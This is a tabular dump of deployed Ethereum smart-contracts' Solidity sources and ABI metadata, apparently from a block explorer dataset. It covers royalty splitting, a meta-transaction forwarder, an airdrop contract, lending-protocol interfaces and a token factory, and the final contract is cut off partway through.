address payable _controlCenter,
address _trustedForwarder,
string memory _uri,
address[] memory payees,
uint256[] memory shares_
) PaymentSplitter() ERC2771Context(_trustedForwarder) {
require(payees.length == shares_.length, "Royalty: unequal number of payees and shares provided.");
require(payees.length > 0, "Royalty: no payees provided.");
// Set contract metadata
_contractURI = _uri;
// Set the protocol's control center.
controlCenter = ProtocolControl(_controlCenter);
Registry registry = Registry(controlCenter.registry());
uint256 feeBps = registry.getFeeBps(_controlCenter);
uint256 totalScaledShares = 0;
uint256 totalScaledSharesMinusFee = 0;
// Scaling the share, so we don't lose precision on division
for (uint256 i = 0; i < payees.length; i++) {
uint256 scaledShares = shares_[i] * 10000;
totalScaledShares += scaledShares;
uint256 feeFromScaledShares = (scaledShares * feeBps) / 10000;
uint256 scaledSharesMinusFee = scaledShares - feeFromScaledShares;
totalScaledSharesMinusFee += scaledSharesMinusFee;
// WARNING: Do not call _addPayee outside of this constructor.
_addPayee(payees[i], scaledSharesMinusFee);
}
// WARNING: Do not call _addPayee outside of this constructor.
uint256 totalFeeShares = totalScaledShares - totalScaledSharesMinusFee;
_addPayee(registry.treasury(), totalFeeShares);
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/// @dev See ERC2771
function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address sender) {
return ERC2771Context._msgSender();
}
/// @dev See ERC2771
function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {
return ERC2771Context._msgData();
}
/// @dev Sets contract URI for the contract-level metadata of the contract.
function setContractURI(string calldata _URI) external onlyModuleAdmin {
_contractURI = _URI;
}
/// @dev Returns the URI for the contract-level metadata of the contract.
function contractURI() public view returns (string memory) {
return _contractURI;
}
} | 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"},{"inputs":[{"internalType":"address","name":"_registry","type":"address"},{"internalType":"address","name":"_admin","type":"address"},{"internalType":"string","name":"_uri","type":"string"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"modules","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"results","type":"bytes[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"numOfModuleType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"royaltyTreasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_URI","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"forwarder","type":"address"}],"name":"setForwarder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"moduleAddress","type":"address"},{"internalType":"address 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v0.8.9+commit.e5eed63a | true | 800 | Default | false | |||||
ProtocolControl | contracts/interfaces/IControlDeployer.sol | 0xfcb73b42ca5bd6b412296c3e3dca86ac56ea8ec8 | Solidity | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
interface IControlDeployer {
/// @dev Emitted when an instance of `ProtocolControl` is deployed.
event DeployedControl(address indexed registry, address indexed deployer, address indexed control);
/// @dev Deploys an instance of `ProtocolControl`
function deployControl(
uint256 nonce,
address deployer,
string memory uri
) external returns (address);
} | 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"},{"inputs":[{"internalType":"address","name":"_registry","type":"address"},{"internalType":"address","name":"_admin","type":"address"},{"internalType":"string","name":"_uri","type":"string"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"modules","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"results","type":"bytes[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"numOfModuleType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"royaltyTreasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_URI","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"forwarder","type":"address"}],"name":"setForwarder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"moduleAddress","type":"address"},{"internalType":"address payable","name":"_treasury","type":"address"}],"name":"setModuleRoyaltyTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_treasury","type":"address"}],"name":"setRoyaltyTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_moduleId","type":"bytes32"},{"internalType":"address","name":"_newModuleAddress","type":"address"}],"name":"updateModule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"currency","type":"address"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.9+commit.e5eed63a | true | 800 | Default | false | |||||
ProtocolControl | contracts/Forwarder.sol | 0xfcb73b42ca5bd6b412296c3e3dca86ac56ea8ec8 | Solidity | // SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
/*
* @dev Minimal forwarder for GSNv2
*/
contract Forwarder is EIP712 {
using ECDSA for bytes32;
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
}
bytes32 private constant TYPEHASH =
keccak256("ForwardRequest(address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data)");
mapping(address => uint256) private _nonces;
constructor() EIP712("GSNv2 Forwarder", "0.0.1") {}
function getNonce(address from) public view returns (uint256) {
return _nonces[from];
}
function verify(ForwardRequest calldata req, bytes calldata signature) public view returns (bool) {
address signer = _hashTypedDataV4(
keccak256(abi.encode(TYPEHASH, req.from, req.to, req.value, req.gas, req.nonce, keccak256(req.data)))
).recover(signature);
return _nonces[req.from] == req.nonce && signer == req.from;
}
function execute(ForwardRequest calldata req, bytes calldata signature)
public
payable
returns (bool, bytes memory)
{
require(verify(req, signature), "MinimalForwarder: signature does not match request");
_nonces[req.from] = req.nonce + 1;
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory result) = req.to.call{ gas: req.gas, value: req.value }(
abi.encodePacked(req.data, req.from)
);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert("Transaction reverted silently");
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
// Check gas: https://ronan.eth.link/blog/ethereum-gas-dangers/
assert(gasleft() > req.gas / 63);
return (success, result);
}
} | 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v0.8.9+commit.e5eed63a | true | 800 | Default | false | |||||
ProtocolControl | @openzeppelin/contracts/metatx/ERC2771Context.sol | 0xfcb73b42ca5bd6b412296c3e3dca86ac56ea8ec8 | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (metatx/ERC2771Context.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Context variant with ERC2771 support.
*/
abstract contract ERC2771Context is Context {
address private _trustedForwarder;
constructor(address trustedForwarder) {
_trustedForwarder = trustedForwarder;
}
function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
return forwarder == _trustedForwarder;
}
function _msgSender() internal view virtual override returns (address sender) {
if (isTrustedForwarder(msg.sender)) {
// The assembly code is more direct than the Solidity version using `abi.decode`.
assembly {
sender := shr(96, calldataload(sub(calldatasize(), 20)))
}
} else {
return super._msgSender();
}
}
function _msgData() internal view virtual override returns (bytes calldata) {
if (isTrustedForwarder(msg.sender)) {
return msg.data[:msg.data.length - 20];
} else {
return super._msgData();
}
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"EtherReceived","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_newForwarder","type":"address"}],"name":"ForwarderUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"address","name":"currency","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"fee","type":"uint256"}],"name":"FundsWithdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"moduleId","type":"bytes32"},{"indexed":true,"internalType":"address","name":"module","type":"address"}],"name":"ModuleUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"protocolControlAddress","type":"address"},{"indexed":true,"internalType":"address","name":"moduleAddress","type":"address"},{"indexed":false,"internalType":"address","name":"treasury","type":"address"}],"name":"RoyaltyTreasuryUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_newTreasury","type":"address"}],"name":"TreasuryUpdated","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_BPS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NATIVE_TOKEN","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newModuleAddress","type":"address"},{"internalType":"uint256","name":"_moduleType","type":"uint256"}],"name":"addModule","outputs":[{"internalType":"bytes32","name":"moduleId","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_moduleType","type":"uint256"}],"name":"getAllModulesOfType","outputs":[{"internalType":"address[]","name":"allModules","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getForwarder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRoleMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleMemberCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"moduleAddress","type":"address"}],"name":"getRoyaltyTreasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_registry","type":"address"},{"internalType":"address","name":"_admin","type":"address"},{"internalType":"string","name":"_uri","type":"string"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"modules","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes[]","name":"data","type":"bytes[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"results","type":"bytes[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"numOfModuleType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"royaltyTreasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_URI","type":"string"}],"name":"setContractURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"forwarder","type":"address"}],"name":"setForwarder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"moduleAddress","type":"address"},{"internalType":"address payable","name":"_treasury","type":"address"}],"name":"setModuleRoyaltyTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_treasury","type":"address"}],"name":"setRoyaltyTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_moduleId","type":"bytes32"},{"internalType":"address","name":"_newModuleAddress","type":"address"}],"name":"updateModule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"currency","type":"address"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.9+commit.e5eed63a | true | 800 | Default | false | |||||
Airdrop | Airdrop.sol | 0xe68bef8930a7b8d85f80b5454ca481007134736f | Solidity | pragma solidity ^0.4.24;
contract Ownable {
address public owner;
mapping (address => bool) private distributors;
constructor () internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOwnerOrDistributor() {
require(distributors[msg.sender] == true || msg.sender == owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
function setDistributor(address _distributor, bool _allowed) external onlyOwner {
distributors[_distributor] = _allowed;
}
}
contract Airdrop is Ownable {
function () payable public {}
function airdrop(address[] _to, uint256[] _values) external onlyOwnerOrDistributor {
require(_to.length == _values.length);
for (uint256 i = 0; i < _to.length; i++) {
_to[i].transfer(_values[i]);
}
}
} | [{"constant":false,"inputs":[{"name":"_to","type":"address[]"},{"name":"_values","type":"uint256[]"}],"name":"airdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_distributor","type":"address"},{"name":"_allowed","type":"bool"}],"name":"setDistributor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | false | bzzr://69bbd2564078a2b85d1a73bf53e7a5566f4f80cce2d5714c1480690c54897c8f |
||||
IdleCompound | contracts/interfaces/ILendingProtocol.sol | 0x7e5d8e57a5910005fc65f383cb79f581dc8507f8 | Solidity | pragma solidity 0.5.11;
interface ILendingProtocol {
function mint() external returns (uint256);
function redeem(address account) external returns (uint256);
function nextSupplyRate(uint256 amount) external view returns (uint256);
function nextSupplyRateWithParams(uint256[] calldata params) external view returns (uint256);
function getAPR() external view returns (uint256);
function getPriceInToken() external view returns (uint256);
function token() external view returns (address);
function underlying() external view returns (address);
} | [{"constant":true,"inputs":[],"name":"getPriceInToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"mint","outputs":[{"internalType":"uint256","name":"cTokens","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"idleToken","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"underlying","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256[]","name":"params","type":"uint256[]"}],"name":"nextSupplyRateWithParams","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"redeem","outputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_idleToken","type":"address"}],"name":"setIdleToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getAPR","outputs":[{"internalType":"uint256","name":"apr","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"nextSupplyRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_underlying","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.11+commit.c082d0b4 | true | 200 | 000000000000000000000000f5dce57282a584d2746faf1593d3121fcac444dc00000000000000000000000089d24a6b4ccb1b6faa2625fe562bdd9a23260359 | Default | Apache-2.0 | false | bzzr://0cd2034256e4bb3d7f964618882cca19975a60fe177083d51093d546b1701e3b |
||
IdleCompound | contracts/interfaces/WhitePaperInterestRateModel.sol | 0x7e5d8e57a5910005fc65f383cb79f581dc8507f8 | Solidity | pragma solidity 0.5.11;
interface WhitePaperInterestRateModel {
function getBorrowRate(uint256 cash, uint256 borrows, uint256 _reserves) external view returns (uint256, uint256);
function getSupplyRate(uint256 cash, uint256 borrows, uint256 reserves, uint256 reserveFactorMantissa) external view returns (uint256);
function multiplier() external view returns (uint256);
function baseRate() external view returns (uint256);
function blocksPerYear() external view returns (uint256);
function dsrPerBlock() external view returns (uint256);
} | [{"constant":true,"inputs":[],"name":"getPriceInToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"mint","outputs":[{"internalType":"uint256","name":"cTokens","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"idleToken","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"underlying","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256[]","name":"params","type":"uint256[]"}],"name":"nextSupplyRateWithParams","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"redeem","outputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_idleToken","type":"address"}],"name":"setIdleToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getAPR","outputs":[{"internalType":"uint256","name":"apr","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"nextSupplyRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_underlying","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.11+commit.c082d0b4 | true | 200 | 000000000000000000000000f5dce57282a584d2746faf1593d3121fcac444dc00000000000000000000000089d24a6b4ccb1b6faa2625fe562bdd9a23260359 | Default | Apache-2.0 | false | bzzr://0cd2034256e4bb3d7f964618882cca19975a60fe177083d51093d546b1701e3b |
||
TokenFactory | TokenFactory.sol | 0x9d4b11530a85db831604a216ad594246702a3ee6 | Solidity | pragma solidity ^0.4.21;
interface Token {
function totalSupply() constant external returns (uint256 ts);
function balanceOf(address _owner) constant external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) constant external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface Baliv {
function getPrice(address fromToken_, address toToken_) external view returns(uint256);
}
contract SafeMath {
function safeAdd(uint x, uint y)
internal
pure
returns(uint) {
uint256 z = x + y;
require((z >= x) && (z >= y));
return z;
}
function safeSub(uint x, uint y)
internal
pure
returns(uint) {
require(x >= y);
uint256 z = x - y;
return z;
}
function safeMul(uint x, uint y)
internal
pure
returns(uint) {
uint z = x * y;
require((x == 0) || (z / x == y));
return z;
}
function safeDiv(uint x, uint y)
internal
pure
returns(uint) {
require(y > 0);
return x / y;
}
function random(uint N, uint salt)
internal
view
returns(uint) {
bytes32 hash = keccak256(block.number, msg.sender, salt);
return uint(hash) % N;
}
}
contract Authorization {
mapping(address => bool) internal authbook;
address[] public operators;
address public owner;
bool public powerStatus = true;
function Authorization()
public
payable
{
owner = msg.sender;
assignOperator(msg.sender);
}
modifier onlyOwner
{
assert(msg.sender == owner);
_;
}
modifier onlyOperator
{
assert(checkOperator(msg.sender));
_;
}
modifier onlyActive
{
assert(powerStatus);
_;
}
function powerSwitch(
bool onOff_
)
public
onlyOperator
{
powerStatus = onOff_;
}
function transferOwnership(address newOwner_)
onlyOwner
public
{
owner = newOwner_;
}
function assignOperator(address user_)
public
onlyOwner
{
if(user_ != address(0) && !authbook[user_]) {
authbook[user_] = true;
operators.push(user_);
}
}
function dismissOperator(address user_)
public
onlyOwner
{
delete authbook[user_];
for(uint i = 0; i < operators.length; i++) {
if(operators[i] == user_) {
operators[i] = operators[operators.length - 1];
operators.length -= 1;
}
}
}
function checkOperator(address user_)
public
view
returns(bool) {
return authbook[user_];
}
}
contract StandardToken is SafeMath {
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Issue(address indexed _to, uint256 indexed _value);
event Burn(address indexed _from, uint256 indexed _value);
/* constructure */
function StandardToken() public payable {}
/* Send coins */
function transfer(
address to_,
uint256 amount_
)
public
returns(bool success) {
if(balances[msg.sender] >= amount_ && amount_ > 0) {
balances[msg.sender] = safeSub(balances[msg.sender], amount_);
balances[to_] = safeAdd(balances[to_], amount_);
emit Transfer(msg.sender, to_, amount_);
return true;
} else {
return false;
}
}
/* A contract attempts to get the coins */
function transferFrom(
address from_,
address to_,
uint256 amount_
) public returns(bool success) {
if(balances[from_] >= amount_ && allowed[from_][msg.sender] >= amount_ && amount_ > 0) {
balances[to_] = safeAdd(balances[to_], amount_);
balances[from_] = safeSub(balances[from_], amount_);
allowed[from_][msg.sender] = safeSub(allowed[from_][msg.sender], amount_);
emit Transfer(from_, to_, amount_);
return true;
} else {
return false;
}
}
function balanceOf(
address _owner
)
constant
public
returns (uint256 balance) {
return balances[_owner];
}
/* Allow another contract to spend some tokens in your behalf */
function approve(
address _spender,
uint256 _value
)
public
returns (bool success) {
assert((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract XPAAssetToken is StandardToken, Authorization {
// metadata
address[] public burners;
string public name;
string public symbol;
uint256 public defaultExchangeRate;
uint256 public constant decimals = 18;
// constructor
function XPAAssetToken(
string symbol_,
string name_,
uint256 defaultExchangeRate_
)
public
{
totalSupply = 0;
symbol = symbol_;
name = name_;
defaultExchangeRate = defaultExchangeRate_ > 0 ? defaultExchangeRate_ : 0.01 ether;
}
function transferOwnership(
address newOwner_
)
onlyOwner
public
{
owner = newOwner_;
}
function create(
address user_,
uint256 amount_
)
public
onlyOperator
returns(bool success) {
if(amount_ > 0 && user_ != address(0)) {
totalSupply = safeAdd(totalSupply, amount_);
balances[user_] = safeAdd(balances[user_], amount_);
emit Issue(owner, amount_);
emit Transfer(owner, user_, amount_);
return true;
}
}
function burn(
uint256 amount_
)
public
returns(bool success) {
require(allowToBurn(msg.sender));
if(amount_ > 0 && balances[msg.sender] >= amount_) {
balances[msg.sender] = safeSub(balances[msg.sender], amount_);
totalSupply = safeSub(totalSupply, amount_);
emit Transfer(msg.sender, owner, amount_);
emit Burn(owner, amount_);
return true;
}
}
function burnFrom(
address user_,
